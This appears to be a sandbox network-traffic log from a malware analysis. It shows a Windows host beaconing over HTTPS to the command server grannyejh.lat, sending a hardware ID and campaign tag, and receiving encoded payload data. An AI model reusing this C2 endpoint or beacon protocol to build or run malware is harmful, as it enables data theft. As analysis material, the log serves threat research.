46 61 49 57 62 47 67 48 33 4c 63 53 76 42 4c 69 54 4a 6f 43 4a 4f 5a 39 33 44 4b 6b 6d 64 67 64 6a 4a 48 46 6a 33 35 6d 4e 47 79 31 73 6a 4b 74 66 45 5a 59 70 36 4c 49 35 39 59 59 58 Data Ascii: Kk5k3McjS4qB0sURUf/7Z07OWCMu0sQkxTYgmTY8hZwpR2LS1Gxe1pCczxYerKlrTcpbKyrSxmWHeCCEf2zNuyVMatDMI0CcjNnMHVry5icNilM/ZoGOS6xDZaBMJNrnPQhl3YJ0AZSK0MAVWP3lbUrBWCwi1cdhjXcihHdgyaMiS2HezSNJ2MeczwIerKlCVMFaIWbGgH3LcSvBLiTJoCJOZ93DKkmdgdjJHFj35mNGy1sjKtfEZYp6LI59YYX
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 4e 37 45 4c 55 53 53 68 64 76 4e 45 56 48 34 71 53 6b 44 7a 55 78 6e 66 70 6e 67 62 35 68 68 4a 49 39 39 63 74 37 70 4f 77 5a 37 6b 63 55 67 41 63 44 4a 33 38 4d 52 57 76 54 6c 5a 30 66 48 56 44 55 70 33 73 6c 74 67 47 51 74 68 6e 46 76 7a 61 49 72 54 6e 44 64 7a 44 35 45 69 70 75 63 68 6c 70 5a 37 4b 6b 2f 41 2f 78 54 4e 7a 62 61 6a 46 57 64 64 54 47 4b 65 32 69 46 74 6d 70 52 49 74 62 4f 62 42 6e 59 6a 39 50 42 47 56 48 31 34 47 74 4f 7a 31 30 69 4a 39 2f 4b 62 6f 46 32 49 59 64 33 59 63 2b 71 4a 55 4a 72 31 73 6f 72 51 6f 72 4a 6b 6f 67 64 52 72 53 78 4a 32 72 4e 52 69 6b 32 6d 64 45 71 6b 6a 59 67 6a 54 59 38 68 61 30 75 52 32 62 57 7a 69 70 45 6e 6f 54 64 78 78 74 65 2b 2b 31 73 53 73 78 56 4b 69 50 55 79 6e 61 42 66 53 69 4e 66 32 6a 49 36 57 6f 49 Data Ascii: N7ELUSShdvNEVH4qSkDzUxnfpngb5hhJI99ct7pOwZ7kcUgAcDJ38MRWvTlZ0fHVDUp3sltgGQthnFvzaIrTnDdzD5EipuchlpZ7Kk/A/xTNzbajFWddTGKe2iFtmpRItbObBnYj9PBGVH14GtOz10iJ9/KboF2IYd3Yc+qJUJr1sorQorJkogdRrSxJ2rNRik2mdEqkjYgjTY8ha0uR2bWzipEnoTdxxte++1sSsxVKiPUynaBfSiNf2jI6WoI
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 39 54 6d 59 2f 4f 79 42 64 55 35 75 4e 73 52 73 64 5a 4b 69 58 66 79 47 2b 48 5a 43 36 42 64 57 2b 46 35 32 52 50 65 70 47 61 62 47 4b 50 6e 39 62 50 46 6b 6a 2f 36 47 52 56 78 30 52 6e 61 4a 6e 66 59 35 6f 32 66 35 64 6d 63 38 4b 32 61 6c 45 69 31 73 35 73 47 64 69 50 31 63 34 64 57 50 72 37 59 6b 58 46 57 79 34 76 33 63 5a 6e 69 33 49 6a 68 6e 4e 6e 79 61 49 6a 53 32 33 56 79 79 4a 49 6c 38 6d 53 69 42 31 47 74 4c 45 6e 59 74 46 58 4b 79 75 5a 30 53 71 53 4e 69 43 4e 4e 6a 79 46 70 53 70 4e 59 74 76 45 4b 45 53 65 67 39 6e 49 45 56 33 37 37 57 46 48 78 56 51 73 4c 39 6a 49 59 59 46 39 49 59 78 31 59 73 50 70 61 67 68 6c 79 59 4a 30 41 62 69 53 30 63 51 64 48 75 75 6e 66 67 50 4e 57 47 64 2b 6d 63 56 6f 6a 33 45 6e 6a 48 56 73 77 4b 30 75 54 57 4c 5a 30 Data Ascii: 9TmY/OyBdU5uNsRsdZKiXfyG+HZC6BdW+F52RPepGabGKPn9bPFkj/6GRVx0RnaJnfY5o2f5dmc8K2alEi1s5sGdiP1c4dWPr7YkXFWy4v3cZni3IjhnNnyaIjS23VyyJIl8mSiB1GtLEnYtFXKyuZ0SqSNiCNNjyFpSpNYtvEKESeg9nIEV377WFHxVQsL9jIYYF9IYx1YsPpaghlyYJ0AbiS0cQdHuunfgPNWGd+mcVoj3EnjHVswK0uTWLZ0
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 4a 6b 6f 67 64 53 4c 53 78 4a 33 32 4b 52 69 51 32 32 73 46 31 74 54 5a 2f 6d 45 67 6b 7a 72 38 6a 57 47 48 48 79 53 46 4e 69 62 65 63 6b 45 34 4d 70 72 73 31 45 64 55 55 4f 42 6d 58 6a 6d 58 4c 4c 68 36 59 4e 6e 4b 46 38 58 59 47 49 73 4f 43 64 41 48 66 69 73 37 61 48 46 33 69 36 69 42 39 39 48 4d 78 4c 4e 37 65 59 35 78 35 5a 38 38 32 61 34 58 78 48 51 68 72 31 74 6b 39 56 35 57 5a 32 34 67 6c 45 4c 54 78 4a 78 75 4b 59 53 51 6f 31 38 6c 79 6d 6a 73 41 6c 33 78 6a 31 61 34 7a 52 79 4b 66 67 69 6f 42 77 4e 71 53 69 42 35 50 74 4c 45 33 45 5a 45 42 64 48 47 4a 6e 48 76 46 62 32 65 58 4e 6a 79 58 35 32 52 61 49 6f 6d 43 61 30 4b 4b 6d 39 72 4c 44 46 32 7a 31 31 6c 6b 30 46 6b 68 4d 63 6a 77 57 6f 78 73 4b 6f 64 68 64 59 6d 38 4a 30 5a 73 31 74 52 73 44 39 Data Ascii: JkogdSLSxJ32KRiQ22sF1tTZ/mEgkzr8jWGHHySFNibeckE4Mprs1EdUUOBmXjmXLLh6YNnKF8XYGIsOCdAHfis7aHF3i6iB99HMxLN7eY5x5Z882a4XxHQhr1tk9V5WZ24glELTxJxuKYSQo18lymjsAl3xj1a4zRyKfgioBwNqSiB5PtLE3EZEBdHGJnHvFb2eXNjyX52RaIomCa0KKm9rLDF2z11lk0FkhMcjwWoxsKodhdYm8J0Zs1tRsD9
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 53 68 43 30 37 58 59 44 6b 67 52 31 66 59 79 64 4d 39 73 6b 4f 4d 39 76 4a 4e 50 70 66 42 6f 73 6b 64 42 73 47 64 6a 4f 33 39 6f 49 57 50 66 2f 5a 41 54 30 61 67 41 6f 33 73 39 79 6d 32 45 6f 76 30 68 78 78 71 63 71 54 33 54 41 67 6d 49 42 6c 38 6d 45 38 56 6f 57 74 4e 59 70 41 39 49 55 66 32 62 73 7a 57 71 46 63 54 47 51 4f 30 50 4c 72 69 56 65 63 73 62 4e 62 41 2f 59 6a 35 79 51 53 42 43 30 37 58 59 44 6b 67 52 31 66 59 79 64 4d 39 73 6b 4f 4d 39 76 4a 4e 50 70 66 42 6f 73 6b 64 42 73 47 64 6a 4f 33 39 6f 49 57 50 66 2f 5a 41 54 30 61 67 41 6f 33 73 39 79 6d 32 45 6f 7a 6c 68 53 35 4a 63 61 58 57 48 66 7a 43 74 58 69 63 6d 53 69 42 55 65 72 4e 41 6e 43 34 70 72 61 57 62 42 6a 6a 7a 4c 51 79 53 50 65 47 50 54 75 47 6c 76 62 4e 62 44 4f 6c 47 50 68 70 50 Data Ascii: ShC07XYDkgR1fYydM9skOM9vJNPpfBoskdBsGdjO39oIWPf/ZAT0agAo3s9ym2Eov0hxxqcqT3TAgmIBl8mE8VoWtNYpA9IUf2bszWqFcTGQO0PLriVecsbNbA/Yj5yQSBC07XYDkgR1fYydM9skOM9vJNPpfBoskdBsGdjO39oIWPf/ZAT0agAo3s9ym2EozlhS5JcaXWHfzCtXicmSiBUerNAnC4praWbBjjzLQySPeGPTuGlvbNbDOlGPhpP
2024-12-18 14:58:51 UTC	1369	IN	Data Raw: 65 52 6a 56 64 39 58 4e 79 48 6e 38 45 6d 5a 63 54 65 43 4e 46 58 54 71 69 52 47 5a 5a 47 4d 62 46 6e 59 30 5a 7a 6c 43 46 6e 6b 36 69 63 4e 69 6c 68 6e 66 70 6e 44 64 6f 78 6d 4a 4d 31 78 66 73 4c 70 4f 77 5a 37 6b 64 52 73 47 63 76 48 6e 4e 70 61 42 72 53 75 61 55 37 4c 56 79 6b 6c 79 39 78 69 69 47 41 6b 78 6b 68 61 36 4c 73 6a 57 47 47 54 38 79 46 46 6a 70 7a 66 32 42 31 67 79 73 52 31 52 4e 70 58 5a 51 72 65 77 32 69 31 53 42 43 51 63 58 53 48 6a 79 64 65 59 5a 47 4d 62 46 6e 59 30 5a 7a 6c 43 46 6e 6b 36 69 56 76 7a 56 6b 72 5a 73 61 41 66 63 74 67 5a 39 6b 6c 4b 6f 57 37 5a 42 41 69 6c 73 45 2b 55 35 36 4b 79 73 74 64 59 4d 72 45 64 55 54 61 56 32 55 58 31 4d 70 79 6e 6e 55 33 68 6b 68 61 36 4c 73 6a 57 47 47 54 35 78 59 44 71 5a 2f 66 79 42 52 5a Data Ascii: eRjVd9XNyHn8EmZcTeCNFXTqiRGZZGMbFnY0ZzlCFnk6icNilhnfpnDdoxmJM1xfsLpOwZ7kdRsGcvHnNpaBrSuaU7LVykly9xiiGAkxkha6LsjWGGT8yFFjpzf2B1gysR1RNpXZQrew2i1SBCQcXSHjydeYZGMbFnY0ZzlCFnk6iVvzVkrZsaAfctgZ9klKoW7ZBAilsE+U56KystdYMrEdUTaV2UX1MpynnU3hkha6LsjWGGT5xYDqZ/fyBRZ

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.10	50177	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:55 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-18 14:58:55 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-18 14:58:58 UTC	1035	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:58:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rj8nuh0nfn2ol0n8cc1b05t4de; expires=Sun, 13-Apr-2025 08:45:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zyxq6%2FHLjxTHFjIn%2Fqx59M6NASbTJiXFrOIEwg8DmZ%2FJs6CShOwcTIaggYS2mOBMl7oWIIoa26uimeWmPqOdtzur3R%2FO%2FU5aBIx9NhIMk%2BQYvKBDJ8wCumpN3vlY9lNV"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40038b0bbb4211-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1591&min_rtt=1590&rtt_var=599&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=904&delivery_rate=1822721&cwnd=239&unsent_bytes=0&cid=b4aaf186730324b9&ts=2640&x=0"
2024-12-18 14:58:58 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-18 14:58:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.10	50178	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:56 UTC	273	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=IUWUFJP4DIM4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: grannyejh.lat
2024-12-18 14:58:56 UTC	12811	OUT	Data Raw: 2d 2d 49 55 57 55 46 4a 50 34 44 49 4d 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 42 38 41 36 33 30 36 31 34 34 36 39 36 35 35 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 49 55 57 55 46 4a 50 34 44 49 4d 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 49 55 57 55 46 4a 50 34 44 49 4d 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 49 55 57 55 46 4a 50 34 44 49 4d 34 0d 0a Data Ascii: --IUWUFJP4DIM4Content-Disposition: form-data; name="hwid"0B8A630614469655AC8923850305D13E--IUWUFJP4DIM4Content-Disposition: form-data; name="pid"2--IUWUFJP4DIM4Content-Disposition: form-data; name="lid"PsFKDg--pablo--IUWUFJP4DIM4
2024-12-18 14:58:58 UTC	1030	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:58:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4066utjaskt4o0rqn10hit2p1u; expires=Sun, 13-Apr-2025 08:45:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3m8kZgkIlcP1%2FP1ZxS604keP70WhV4txJqOZhVRWxLABx5uHGH4OLaLpr1hVX0hA0gd%2Fq23QzW56izgGEAWuRpSYdHd2j4Uw4ESrr08b8CeJBx8GItOriwKqNeMe2XQx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f40038eada25e6e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1730&rtt_var=653&sent=9&recv=17&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13742&delivery_rate=1687861&cwnd=235&unsent_bytes=0&cid=1be0d46139a49785&ts=2341&x=0"
2024-12-18 14:58:58 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-18 14:58:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.10	50179	172.67.179.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 14:58:59 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: grannyejh.lat
2024-12-18 14:58:59 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-18 14:59:00 UTC	1026	IN	HTTP/1.1 200 OK Date: Wed, 18 Dec 2024 14:59:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=25fbbfsn3ldk2s6em0580jfg23; expires=Sun, 13-Apr-2025 08:45:38 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6J2VKySyHq07qjEpYu5FFnYudWWaLXvKfeaSrZfj%2BdC1WSwZGeOZWkEh1IqAgMuer6vC2VCWsWkR88cnypHdElX2LRKJmNfvJCVGTz%2Fqz5woOFmSUVyzmJJ7Mgz3Glbp"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4003a398a243bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2216&min_rtt=2207&rtt_var=846&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=944&delivery_rate=1280140&cwnd=228&unsent_bytes=0&cid=37808ecf48159c96&ts=735&x=0"
2024-12-18 14:59:00 UTC	343	IN	Data Raw: 34 39 31 63 0d 0a 4b 75 6c 4e 58 4b 73 63 58 61 64 70 6c 5a 4e 58 41 64 4e 77 4d 47 45 57 48 79 33 5a 6a 59 42 42 7a 4a 77 5a 7a 2b 76 4a 78 53 78 52 79 7a 74 2b 6b 53 68 78 68 52 72 77 73 57 31 31 6f 51 56 56 54 54 52 2b 53 66 75 33 35 69 43 67 37 33 7a 6a 79 62 2b 6f 44 68 43 50 4c 44 44 59 65 58 47 46 44 4f 32 78 62 56 71 6f 55 6c 55 50 4e 43 55 50 76 4f 66 69 49 4b 44 2b 65 4b 53 45 75 61 6c 50 51 6f 55 71 4e 4d 35 2f 4f 63 59 46 2b 50 59 79 5a 4c 49 61 58 67 68 37 64 30 44 37 6f 61 49 6b 74 72 34 6a 37 61 61 73 73 55 31 6e 69 44 34 33 69 57 46 78 33 45 76 77 2f 58 55 37 38 52 46 56 41 33 70 35 53 62 4c 6c 36 43 6d 6f 2f 33 32 6c 6d 36 43 6a 52 45 4b 4c 4b 54 58 45 64 69 33 4c 44 2f 2f 39 4e 47 36 79 55 68 78 44 63 32 55 50 34 36 2b 78 45 61 33 76 61 Data Ascii: 491cKulNXKscXadplZNXAdNwMGEWHy3ZjYBBzJwZz+vJxSxRyzt+kShxhRrwsW11oQVVTTR+Sfu35iCg73zjyb+oDhCPLDDYeXGFDO2xbVqoUlUPNCUPvOfiIKD+eKSEualPQoUqNM5/OcYF+PYyZLIaXgh7d0D7oaIktr4j7aassU1niD43iWFx3Evw/XU78RFVA3p5SbLl6Cmo/32lm6CjREKLKTXEdi3LD//9NG6yUhxDc2UP46+xEa3va
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 61 79 72 44 68 44 4c 4b 54 44 49 63 7a 2f 58 41 2f 7a 36 4d 48 47 36 47 31 38 4f 64 48 42 46 74 4f 7a 69 4a 4b 54 30 64 4b 65 4e 70 71 70 49 53 49 74 76 63 49 6c 35 4a 34 56 54 74 39 49 77 63 37 59 65 52 45 46 4f 50 56 44 31 39 71 49 6b 6f 72 34 6a 37 59 47 75 70 45 31 44 68 43 77 32 77 6d 77 2f 31 77 33 36 39 43 64 6c 74 42 78 59 41 47 5a 33 51 62 33 73 36 79 69 6e 2b 33 79 70 79 65 58 6e 53 56 44 4c 64 33 37 6f 63 7a 54 4a 41 65 44 78 64 58 7a 2f 43 78 49 45 65 44 30 58 2b 2b 76 6a 4a 36 2f 36 64 61 4f 4e 70 36 46 41 52 59 51 70 4e 4d 6c 35 4e 63 30 44 39 76 77 2b 62 4c 45 58 58 77 64 79 63 55 36 2b 72 36 78 6a 71 65 59 37 39 63 6d 46 6f 45 31 61 79 52 6f 39 78 33 41 34 30 30 76 6f 76 79 77 6a 74 68 34 53 57 7a 52 7a 53 72 54 39 34 7a 47 72 38 47 6d 68 Data Ascii: ayrDhDLKTDIcz/XA/z6MHG6G18OdHBFtOziJKT0dKeNpqpISItvcIl5J4VTt9Iwc7YeREFOPVD19qIkor4j7YGupE1DhCw2wmw/1w369CdltBxYAGZ3Qb3s6yin+3ypyeXnSVDLd37oczTJAeDxdXz/CxIEeD0X++vjJ6/6daONp6FARYQpNMl5Nc0D9vw+bLEXXwdycU6+r6xjqeY79cmFoE1ayRo9x3A400vovywjth4SWzRzSrT94zGr8Gmh
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 6c 44 79 52 6f 39 78 33 41 34 30 30 76 6f 76 79 77 6a 74 68 34 53 57 7a 52 77 52 37 37 71 37 53 4b 6b 38 48 36 6e 68 61 4f 70 54 56 71 45 4b 7a 37 46 64 6a 58 49 42 66 50 35 50 47 69 36 46 46 49 43 66 6a 30 42 2b 2b 6a 36 59 2f 61 2b 54 36 71 46 70 71 67 4d 66 59 67 68 4d 4d 35 6f 66 39 70 46 37 72 45 79 62 2f 46 4b 45 67 39 39 66 55 53 78 36 2b 49 6b 6f 2f 74 34 71 6f 71 6d 6f 45 52 47 6a 43 73 79 77 48 4d 35 78 51 7a 7a 39 43 64 6d 75 42 35 65 51 7a 6f 39 53 4b 4f 76 75 6d 4f 42 2b 57 32 75 70 71 69 32 52 77 69 55 59 53 65 4a 65 54 4f 46 55 37 66 32 4d 47 75 36 46 46 6f 44 5a 6e 68 42 73 4f 37 6f 4a 61 2f 7a 64 36 75 4a 71 71 64 49 52 49 73 6f 4f 64 74 73 4f 73 4d 5a 2f 62 46 37 49 37 59 4b 45 6c 73 30 53 31 2b 73 2f 76 52 68 6d 2f 31 31 6f 34 36 39 35 Data Ascii: lDyRo9x3A400vovywjth4SWzRwR77q7SKk8H6nhaOpTVqEKz7FdjXIBfP5PGi6FFICfj0B++j6Y/a+T6qFpqgMfYghMM5of9pF7rEyb/FKEg99fUSx6+Iko/t4qoqmoERGjCsywHM5xQzz9CdmuB5eQzo9SKOvumOB+W2upqi2RwiUYSeJeTOFU7f2MGu6FFoDZnhBsO7oJa/zd6uJqqdIRIsoOdtsOsMZ/bF7I7YKEls0S1+s/vRhm/11o4695
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 70 4d 38 78 78 4e 64 63 44 2b 66 77 2b 62 4c 6f 41 55 67 35 77 63 55 75 7a 35 4f 68 6a 34 4c 35 38 74 63 6e 7a 35 33 74 46 68 43 38 39 33 7a 34 67 69 78 4b 33 39 6a 6b 6a 36 56 4a 65 44 58 52 79 51 37 66 6b 36 69 4b 69 38 48 79 6f 67 4b 4f 76 58 45 6d 50 4a 7a 2f 48 63 54 37 42 44 76 4c 31 4d 6d 65 33 48 52 4a 4e 4e 48 70 58 2b 37 65 69 44 49 6e 4c 4f 59 79 7a 36 37 67 41 55 63 73 6f 4d 6f 6b 6d 66 38 6b 49 2b 2f 6b 36 5a 62 67 65 57 41 70 2f 63 55 53 2f 34 2b 73 6d 71 50 39 2b 71 49 69 76 71 30 52 4f 69 43 77 78 78 6e 45 33 68 55 57 33 39 69 30 6a 36 56 4a 33 46 48 39 7a 53 66 76 77 72 44 72 75 2b 58 66 74 30 65 75 72 52 30 36 4e 4b 6a 4c 49 65 44 66 41 41 2f 50 77 4d 32 57 79 48 56 59 47 64 58 4a 4c 74 2b 48 6f 49 71 2f 79 63 4b 4b 43 72 75 63 41 43 49 Data Ascii: pM8xxNdcD+fw+bLoAUg5wcUuz5Ohj4L58tcnz53tFhC893z4gixK39jkj6VJeDXRyQ7fk6iKi8HyogKOvXEmPJz/HcT7BDvL1Mme3HRJNNHpX+7eiDInLOYyz67gAUcsoMokmf8kI+/k6ZbgeWAp/cUS/4+smqP9+qIivq0ROiCwxxnE3hUW39i0j6VJ3FH9zSfvwrDru+Xft0eurR06NKjLIeDfAA/PwM2WyHVYGdXJLt+HoIq/ycKKCrucACI
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 66 7a 72 50 42 2f 44 30 50 6d 79 39 55 68 78 44 63 32 55 50 34 36 2f 4d 4b 4c 33 70 65 4b 4f 43 76 62 77 4f 56 38 55 32 66 73 35 79 66 35 31 4c 39 50 6f 2b 5a 37 45 65 55 67 64 35 66 56 32 30 36 4f 55 71 70 65 78 78 71 6f 36 67 72 30 56 48 6a 54 30 79 78 32 77 36 31 78 6d 33 76 33 56 6b 71 56 49 4b 51 30 4a 36 58 36 76 73 6f 42 4b 34 2f 57 32 6d 68 4b 66 6e 55 51 61 53 62 7a 6e 46 50 6d 65 46 44 66 6a 34 4e 6d 79 77 47 31 34 4f 63 58 52 4b 75 75 6e 6d 4b 61 54 2b 66 61 75 49 72 71 31 4e 53 59 45 6d 4f 63 46 35 50 4e 64 4c 75 62 45 79 65 2f 46 4b 45 69 70 7a 62 30 47 72 72 2f 31 74 74 37 35 38 6f 63 6e 7a 35 30 70 43 68 43 73 35 78 58 67 36 77 77 62 32 2f 6a 52 6a 76 68 5a 5a 43 6e 4a 38 51 72 37 69 35 6a 47 6b 39 58 53 68 67 4b 65 71 44 67 62 4c 4b 43 61 Data Ascii: fzrPB/D0Pmy9UhxDc2UP46/MKL3peKOCvbwOV8U2fs5yf51L9Po+Z7EeUgd5fV206OUqpexxqo6gr0VHjT0yx2w61xm3v3VkqVIKQ0J6X6vsoBK4/W2mhKfnUQaSbznFPmeFDfj4NmywG14OcXRKuunmKaT+fauIrq1NSYEmOcF5PNdLubEye/FKEipzb0Grr/1tt758ocnz50pChCs5xXg6wwb2/jRjvhZZCnJ8Qr7i5jGk9XShgKeqDgbLKCa
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 41 33 6c 38 54 68 70 6f 78 68 5a 42 6e 6c 77 51 72 6a 70 35 43 69 69 37 48 4b 74 69 71 44 6e 41 41 69 4d 4e 33 36 52 50 68 7a 53 48 66 33 32 4f 58 57 36 45 31 45 56 65 57 30 50 39 61 2f 7a 4a 4c 2b 2b 49 37 75 5a 76 4b 42 52 42 70 4a 76 4f 63 55 2b 5a 34 55 4e 2f 76 63 79 5a 62 38 41 56 77 56 37 63 6b 61 79 36 2b 6f 67 72 76 70 2f 71 6f 79 6f 71 30 56 50 69 43 41 36 77 48 41 32 79 6b 75 35 73 54 4a 37 38 55 6f 53 49 6d 39 2b 51 37 61 76 2f 57 32 33 76 6e 79 68 79 66 50 6e 51 6b 61 4f 4c 7a 54 50 65 6a 72 44 41 66 4c 78 50 6d 43 2b 46 6c 51 48 65 33 31 45 73 75 37 6b 4a 71 54 31 66 61 43 4b 72 61 45 4f 42 73 73 6f 4a 6f 6b 6d 66 2b 55 51 2b 76 30 79 49 36 35 63 53 30 4e 7a 63 51 2f 6a 72 2b 6b 76 71 76 6c 37 6f 49 71 6a 6f 6b 70 43 6a 69 38 32 32 33 59 2f Data Ascii: A3l8ThpoxhZBnlwQrjp5Cii7HKtiqDnAAiMN36RPhzSHf32OXW6E1EVeW0P9a/zJL++I7uZvKBRBpJvOcU+Z4UN/vcyZb8AVwV7ckay6+ogrvp/qoyoq0VPiCA6wHA2yku5sTJ78UoSIm9+Q7av/W23vnyhyfPnQkaOLzTPejrDAfLxPmC+FlQHe31Esu7kJqT1faCKraEOBssoJokmf+UQ+v0yI65cS0NzcQ/jr+kvqvl7oIqjokpCji8223Y/
2024-12-18 14:59:00 UTC	1369	IN	Data Raw: 45 79 64 66 46 4b 45 6a 30 30 62 30 79 72 37 4f 30 79 6b 4c 34 6a 74 4c 66 72 72 46 68 50 6d 79 77 6f 77 6e 4d 7a 31 44 57 33 71 57 45 78 34 30 41 41 55 57 73 39 55 49 53 68 6f 69 4c 75 70 6b 4b 30 79 62 33 6e 46 68 72 46 62 79 79 4a 4a 6e 2b 43 43 4f 58 6a 4d 32 43 6e 45 52 55 39 53 6c 70 5a 73 65 6a 79 4a 4c 6e 78 4f 2b 50 4a 70 4f 63 57 63 63 73 6d 4f 64 4a 76 4b 63 67 62 38 4c 45 4b 4c 66 45 4b 45 6c 73 30 53 45 79 31 34 65 55 31 76 37 4e 63 75 34 4f 73 74 30 6c 66 68 47 39 77 69 58 68 2f 6e 56 69 35 73 54 46 79 38 55 6f 43 55 53 38 6f 48 4f 79 2f 73 44 7a 67 35 7a 75 37 79 66 50 31 41 41 69 5a 62 32 61 4a 4f 54 7a 58 47 66 48 79 49 32 44 32 4c 47 77 6b 62 6e 42 4a 72 50 37 63 48 61 6e 6b 64 71 75 65 75 75 74 62 53 34 55 68 4f 64 38 2b 63 59 55 45 74 Data Ascii: EydfFKEj00b0yr7O0ykL4jtLfrrFhPmywownMz1DW3qWEx40AAUWs9UIShoiLupkK0yb3nFhrFbyyJJn+CCOXjM2CnERU9SlpZsejyJLnxO+PJpOcWccsmOdJvKcgb8LEKLfEKEls0SEy14eU1v7Ncu4Ost0lfhG9wiXh/nVi5sTFy8UoCUS8oHOy/sDzg5zu7yfP1AAiZb2aJOTzXGfHyI2D2LGwkbnBJrP7cHankdqueuutbS4UhOd8+cYUEt
